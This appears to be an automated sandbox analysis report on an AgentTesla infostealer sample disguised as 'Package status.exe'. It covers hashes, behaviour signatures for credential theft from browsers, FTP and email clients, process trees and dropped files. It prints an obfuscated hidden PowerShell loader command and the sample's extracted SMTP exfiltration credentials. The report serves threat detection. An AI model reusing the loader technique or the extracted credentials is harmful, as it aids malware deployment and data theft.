Analysis

  • max time kernel
    139s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    19-06-2024 14:36

General

  • Target

    Package status.exe

  • Size

    810KB

  • MD5

    f7f038db9cf8b30eedadbd0e1bd06475

  • SHA1

    183a7e4912252c912340580478a756449d420c18

  • SHA256

    1c4bde8818c2caac1ea5d08697561d52e4f977a31f648ef55fe54f13efe572e1

  • SHA512

    43ce6cce5d06b7317b524689610b9154ffb2d7b16a55328321b19eb4baba9fb793f46e6d4e2ca582cfa5c5b7d7627e59cbd1860169efa31f4eadae3155322d1e

  • SSDEEP

    12288:NX8AAopS5s7Prs1K9qjmF7UC5xkd56/iS3xwWaoSOs9BOvLcajeUoZe3xn7dhLO3:18N56/iS3Dao55LTue3xn7d3sCDPa7l

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    smtp.gmail.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    vjru ncjq zilj zxwk

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 2 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Package status.exe
    "C:\Users\Admin\AppData\Local\Temp\Package status.exe"
    1⤵
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$corabecan=Get-Content 'C:\Users\Admin\AppData\Local\gannetry\Hjelmkldtes\Antesunrise.Ski';$kitningers=$corabecan.SubString(12628,3);.$kitningers($corabecan)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Loads dropped DLL
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2264
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
        3⤵
          PID:2988
        • C:\Users\Admin\AppData\Local\Temp\Biseksualiteten.exe
          "C:\Users\Admin\AppData\Local\Temp\Biseksualiteten.exe"
          3⤵
          • Loads dropped DLL
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2616

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\gannetry\Hjelmkldtes\Antesunrise.Ski

      Filesize

      69KB

      MD5

      95c71503bc640705b0973b75d1249e2b

      SHA1

      44a3114402114ed571c9920eebf2a2c938c7e9c3

      SHA256

      9c8314a2876644dff91652aefd829835e8700d7cd00d4a2f24173c29f9532dae

      SHA512

      4512060a616f79bfaa62c3837a2ae68f798f1bb54d63e037b432b79a720fba3fb0c9b48409f22473ff63a7a21a37eb6e119f9eaa05521d40b7bfb771b66e4808

    • C:\Users\Admin\AppData\Local\gannetry\Hjelmkldtes\Cerebrogalactose140.Mae

      Filesize

      314KB

      MD5

      21282b210d55b15aa4083674e5b769eb

      SHA1

      425367906b18c625a6d6182c42ed67ece27b5262

      SHA256

      410339e0545e9ee17cf941a8f41b371917495b0811b0b4796c259710a83671c2

      SHA512

      c6dae5cb93db9ec7b7f125c38e0a95887c9a3e9344d7da046162f08184e9bedae80fe18c6aea2dd98c36b6cd27726d189d341426fbda0ce3f05c58a09cd7e67e

    • \Users\Admin\AppData\Local\Temp\Biseksualiteten.exe

      Filesize

      810KB

      MD5

      f7f038db9cf8b30eedadbd0e1bd06475

      SHA1

      183a7e4912252c912340580478a756449d420c18

      SHA256

      1c4bde8818c2caac1ea5d08697561d52e4f977a31f648ef55fe54f13efe572e1

      SHA512

      43ce6cce5d06b7317b524689610b9154ffb2d7b16a55328321b19eb4baba9fb793f46e6d4e2ca582cfa5c5b7d7627e59cbd1860169efa31f4eadae3155322d1e

    • memory/2264-12-0x0000000074630000-0x0000000074BDB000-memory.dmp

      Filesize

      5.7MB

    • memory/2264-11-0x0000000074630000-0x0000000074BDB000-memory.dmp

      Filesize

      5.7MB

    • memory/2264-10-0x0000000074631000-0x0000000074632000-memory.dmp

      Filesize

      4KB

    • memory/2264-13-0x0000000074630000-0x0000000074BDB000-memory.dmp

      Filesize

      5.7MB

    • memory/2264-18-0x0000000006620000-0x000000000A350000-memory.dmp

      Filesize

      61.2MB

    • memory/2264-14-0x0000000074630000-0x0000000074BDB000-memory.dmp

      Filesize

      5.7MB

    • memory/2264-23-0x0000000074630000-0x0000000074BDB000-memory.dmp

      Filesize

      5.7MB

    • memory/2616-24-0x0000000000490000-0x00000000014F2000-memory.dmp

      Filesize

      16.4MB

    • memory/2616-25-0x0000000000490000-0x00000000014F2000-memory.dmp

      Filesize

      16.4MB

    • memory/2616-27-0x0000000000490000-0x00000000004D4000-memory.dmp

      Filesize

      272KB